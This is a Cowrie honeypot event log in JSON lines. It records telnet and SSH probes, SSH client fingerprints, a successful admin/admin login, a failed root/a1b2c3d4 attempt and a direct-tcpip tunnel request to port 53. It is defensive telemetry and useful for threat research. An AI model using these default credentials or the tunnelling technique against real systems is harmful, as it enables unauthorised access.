{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53016,"dst_ip":"159.203.135.109","dst_port":23,"session":"090c234dfb6d","protocol":"telnet","message":"New connection: 128.199.8.54:53016 (159.203.135.109:23) [session: 090c234dfb6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:08:33.080135Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":52292,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa43dbce7887","protocol":"telnet","message":"New connection: 45.148.121.166:52292 (159.203.135.109:23) [session: aa43dbce7887]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:08:35.002636Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":52306,"dst_ip":"159.203.135.109","dst_port":23,"session":"f51833c8833d","protocol":"telnet","message":"New connection: 45.148.121.166:52306 (159.203.135.109:23) [session: f51833c8833d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:08:35.459074Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":52320,"dst_ip":"159.203.135.109","dst_port":23,"session":"7af76a463784","protocol":"telnet","message":"New connection: 45.148.121.166:52320 (159.203.135.109:23) [session: 7af76a463784]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:08:35.861487Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":52328,"dst_ip":"159.203.135.109","dst_port":23,"session":"9467aa6318fb","protocol":"telnet","message":"New connection: 45.148.121.166:52328 (159.203.135.109:23) [session: 9467aa6318fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:08:40.309685Z"}
{"eventid":"cowrie.session.closed","duration":33.92223143577576,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:08:42.509968Z","src_ip":"128.199.8.54","session":"5cc6e1ca0260","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.90604591369629,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:08:43.438378Z","src_ip":"128.199.8.54","session":"70d9f715d7ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.856270790100098,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:08:44.019631Z","src_ip":"45.148.121.166","session":"f3df7daaf071","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":17085,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b942116288d","protocol":"telnet","message":"New connection: 212.55.149.117:17085 (10.17.0.5:23) [session: 2b942116288d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:08:44.270136Z"}
{"eventid":"cowrie.session.closed","duration":59.154133319854736,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:08:47.022368Z","src_ip":"212.55.149.117","session":"089786fe556a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.28642916679382,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:08:49.103488Z","src_ip":"128.199.8.54","session":"4e07bbe469f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.454939126968384,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:08:57.239156Z","src_ip":"45.148.121.166","session":"8c444b1c7bd4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49782,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fba079151e0","protocol":"telnet","message":"New connection: 128.199.8.54:49782 (159.203.135.109:23) [session: 2fba079151e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:08:59.761401Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":42790,"dst_ip":"159.203.135.109","dst_port":23,"session":"97fc4d2489da","protocol":"telnet","message":"New connection: 45.148.121.166:42790 (159.203.135.109:23) [session: 97fc4d2489da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:02.020048Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56910,"dst_ip":"159.203.135.109","dst_port":23,"session":"33846bfed384","protocol":"telnet","message":"New connection: 128.199.8.54:56910 (159.203.135.109:23) [session: 33846bfed384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:03.539061Z"}
{"eventid":"cowrie.session.closed","duration":30.272870779037476,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:06.134271Z","src_ip":"45.148.121.166","session":"7af76a463784","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.949974298477173,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:06.408897Z","src_ip":"45.148.121.166","session":"f51833c8833d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.11390495300293,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:08.116429Z","src_ip":"45.148.121.166","session":"aa43dbce7887","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":37840,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb0fad3271a9","protocol":"telnet","message":"New connection: 45.148.121.166:37840 (159.203.135.109:23) [session: bb0fad3271a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:08.181201Z"}
{"eventid":"cowrie.session.closed","duration":36.78937077522278,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:09.869402Z","src_ip":"128.199.8.54","session":"090c234dfb6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.881994247436523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:11.191538Z","src_ip":"45.148.121.166","session":"9467aa6318fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":37842,"dst_ip":"159.203.135.109","dst_port":23,"session":"bccbd20a8021","protocol":"telnet","message":"New connection: 45.148.121.166:37842 (159.203.135.109:23) [session: bccbd20a8021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:11.215137Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":37858,"dst_ip":"159.203.135.109","dst_port":23,"session":"89c43f49a66f","protocol":"telnet","message":"New connection: 45.148.121.166:37858 (159.203.135.109:23) [session: 89c43f49a66f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:13.724972Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":46776,"dst_ip":"10.17.0.5","dst_port":22,"session":"da152cdeec32","protocol":"ssh","message":"New connection: 87.251.64.176:46776 (10.17.0.5:22) [session: da152cdeec32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:16.230002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:16.235793Z","src_ip":"87.251.64.176","session":"da152cdeec32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:16.333459Z","src_ip":"87.251.64.176","session":"da152cdeec32","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:16.624979Z","src_ip":"87.251.64.176","session":"da152cdeec32","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:16.725228Z","session":"da152cdeec32","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:16.823681Z","src_ip":"87.251.64.176","session":"da152cdeec32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:16.924075Z","src_ip":"87.251.64.176","session":"da152cdeec32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":56304,"dst_ip":"159.203.135.109","dst_port":23,"session":"c826a9e443b1","protocol":"telnet","message":"New connection: 45.148.121.166:56304 (159.203.135.109:23) [session: c826a9e443b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:18.772257Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":48490,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5b3c5dce3f4","protocol":"telnet","message":"New connection: 45.148.121.166:48490 (159.203.135.109:23) [session: c5b3c5dce3f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:25.756842Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":48492,"dst_ip":"159.203.135.109","dst_port":23,"session":"93dcfefc3b63","protocol":"telnet","message":"New connection: 45.148.121.166:48492 (159.203.135.109:23) [session: 93dcfefc3b63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:29.862879Z"}
{"eventid":"cowrie.session.closed","duration":31.071556329727173,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:33.091475Z","src_ip":"45.148.121.166","session":"97fc4d2489da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33530,"dst_ip":"159.203.135.109","dst_port":23,"session":"97d5fb065ac9","protocol":"telnet","message":"New connection: 128.199.8.54:33530 (159.203.135.109:23) [session: 97d5fb065ac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:34.666722Z"}
{"eventid":"cowrie.session.closed","duration":36.3459038734436,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:36.107185Z","src_ip":"128.199.8.54","session":"2fba079151e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.028369188308716,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:36.567226Z","src_ip":"128.199.8.54","session":"33846bfed384","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38010,"dst_ip":"159.203.135.109","dst_port":23,"session":"87b9d2f8dd21","protocol":"telnet","message":"New connection: 128.199.8.54:38010 (159.203.135.109:23) [session: 87b9d2f8dd21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:36.901212Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39942,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cdfffc7c726","protocol":"telnet","message":"New connection: 128.199.8.54:39942 (159.203.135.109:23) [session: 5cdfffc7c726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:37.894623Z"}
{"eventid":"cowrie.session.closed","duration":30.927438497543335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:39.108502Z","src_ip":"45.148.121.166","session":"bb0fad3271a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":57544,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d59d237494d","protocol":"telnet","message":"New connection: 45.148.121.166:57544 (159.203.135.109:23) [session: 1d59d237494d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:40.203437Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":57548,"dst_ip":"159.203.135.109","dst_port":23,"session":"7580ed8195fa","protocol":"telnet","message":"New connection: 45.148.121.166:57548 (159.203.135.109:23) [session: 7580ed8195fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:41.178278Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":47322,"dst_ip":"10.17.0.5","dst_port":22,"session":"03b33cd77476","protocol":"ssh","message":"New connection: 103.15.226.202:47322 (10.17.0.5:22) [session: 03b33cd77476]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:41.440038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:41.445522Z","src_ip":"103.15.226.202","session":"03b33cd77476","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:41.687624Z","src_ip":"103.15.226.202","session":"03b33cd77476","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1b2c3d4","message":"login attempt [root/a1b2c3d4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:42.424857Z","src_ip":"103.15.226.202","session":"03b33cd77476","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":57564,"dst_ip":"159.203.135.109","dst_port":23,"session":"0eb38e0438d3","protocol":"telnet","message":"New connection: 45.148.121.166:57564 (159.203.135.109:23) [session: 0eb38e0438d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:42.656894Z"}
{"eventid":"cowrie.session.closed","duration":31.60301399230957,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:42.818007Z","src_ip":"45.148.121.166","session":"bccbd20a8021","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":57568,"dst_ip":"159.203.135.109","dst_port":23,"session":"c14b312d3582","protocol":"telnet","message":"New connection: 45.148.121.166:57568 (159.203.135.109:23) [session: c14b312d3582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:43.429702Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:43.672934Z","src_ip":"103.15.226.202","session":"03b33cd77476","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.456198692321777,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:44.181036Z","src_ip":"45.148.121.166","session":"89c43f49a66f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.290709495544434,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:49.062844Z","src_ip":"45.148.121.166","session":"c826a9e443b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":55186,"dst_ip":"159.203.135.109","dst_port":23,"session":"047aae61cae7","protocol":"telnet","message":"New connection: 45.148.121.166:55186 (159.203.135.109:23) [session: 047aae61cae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:50.378373Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39962,"dst_ip":"159.203.135.109","dst_port":23,"session":"9755ad1af327","protocol":"telnet","message":"New connection: 128.199.8.54:39962 (159.203.135.109:23) [session: 9755ad1af327]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:51.595987Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":55396,"dst_ip":"159.203.135.109","dst_port":23,"session":"920727572840","protocol":"telnet","message":"New connection: 45.148.121.166:55396 (159.203.135.109:23) [session: 920727572840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:54.667439Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46968,"dst_ip":"159.203.135.109","dst_port":23,"session":"d65497e3af36","protocol":"telnet","message":"New connection: 128.199.8.54:46968 (159.203.135.109:23) [session: d65497e3af36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:55.017428Z"}
{"eventid":"cowrie.session.closed","duration":31.27560520172119,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:57.032324Z","src_ip":"45.148.121.166","session":"c5b3c5dce3f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":55406,"dst_ip":"159.203.135.109","dst_port":23,"session":"35d4c0a65651","protocol":"telnet","message":"New connection: 45.148.121.166:55406 (159.203.135.109:23) [session: 35d4c0a65651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:09:57.660989Z"}
{"eventid":"cowrie.session.closed","duration":30.38786554336548,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:10:00.250628Z","src_ip":"45.148.121.166","session":"93dcfefc3b63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":55416,"dst_ip":"159.203.135.109","dst_port":23,"session":"baf561552462","protocol":"telnet","message":"New connection: 45.148.121.166:55416 (159.203.135.109:23) [session: baf561552462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:10:00.938581Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36296,"dst_ip":"159.203.135.109","dst_port":23,"session":"98f3bb079fee","protocol":"telnet","message":"New connection: 128.199.8.54:36296 (159.203.135.109:23) [session: 98f3bb079fee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:10:03.529104Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45138,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcaa52a249d6","protocol":"telnet","message":"New connection: 128.199.8.54:45138 (159.203.135.109:23) [session: bcaa52a249d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:10:07.811589Z"}
{"eventid":"cowrie.session.closed","duration":34.87543082237244,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:10:09.542027Z","src_ip":"128.199.8.54","session":"97d5fb065ac9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.939812660217285,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:10:11.143161Z","src_ip":"45.148.121.166","session":"1d59d237494d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.53842091560364,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:10:11.439544Z","src_ip":"128.199.8.54","session":"87b9d2f8dd21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.259077548980713,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:10:12.437249Z","src_ip":"45.148.121.166","session":"7580ed8195fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.15769863128662,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:10:13.052244Z","src_ip":"128.199.8.54","session":"5cdfffc7c726","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06556510925293,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:10:13.722288Z","src_ip":"45.148.121.166","session":"0eb38e0438d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95485019683838,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:10:14.384411Z","src_ip":"45.148.121.166","session":"c14b312d3582","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":44350,"dst_ip":"159.203.135.109","dst_port":23,"session":"c75186f26904","protocol":"telnet","message":"New connection: 45.148.121.166:44350 (159.203.135.109:23) [session: c75186f26904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:10:14.393854Z"}
